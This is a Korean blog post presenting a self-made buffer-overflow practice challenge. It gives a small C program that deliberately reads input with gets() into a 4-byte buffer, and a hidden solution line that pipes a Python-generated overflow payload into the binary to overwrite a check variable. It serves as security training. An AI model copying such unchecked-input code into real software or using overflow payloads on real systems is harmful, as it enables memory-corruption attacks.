Hacking/Pwn.

[pwnable] bof를 응용한 문제를 만들어 봤습니다.

2016. 12. 18. 20:08


#include <stdio.h>

#include <string.h>


int main(void) {

        int check = 0;

        char prevent[100];

        char buffer[4];



        printf("buffer : ");

        gets(buffer);


        //printf("length : %d\n", strlen(buffer));

        if(strlen(buffer) > 5) {

                check = 1;

        }


        if(check >= 1) {

                printf("Your Input is strange!\n", check);

        } else {

                printf("Your Input has no problom!\n");

        }


        printf("\nYour input : %s | Your check value : %d\n", buffer, check);


        return 0;


}



정답은 밑을 드래그 하면 보입니다. 

$ (python -c 'print "a"*104+"\x00\x00\x00\x00"', cat) | ./[저장한 실행 파일 이름]



'Hacking > Pwn.' 카테고리의 다른 글

lob 현황  (0) 2017.04.25
argv에서 Segmentation Fault  (0) 2017.04.23
codeengn.com  (0) 2017.02.23
[lob] gremlin 권한 획득  (0) 2016.12.19
[pwnable] 왜 원본파일에다 해킹 안함?  (0) 2016.12.18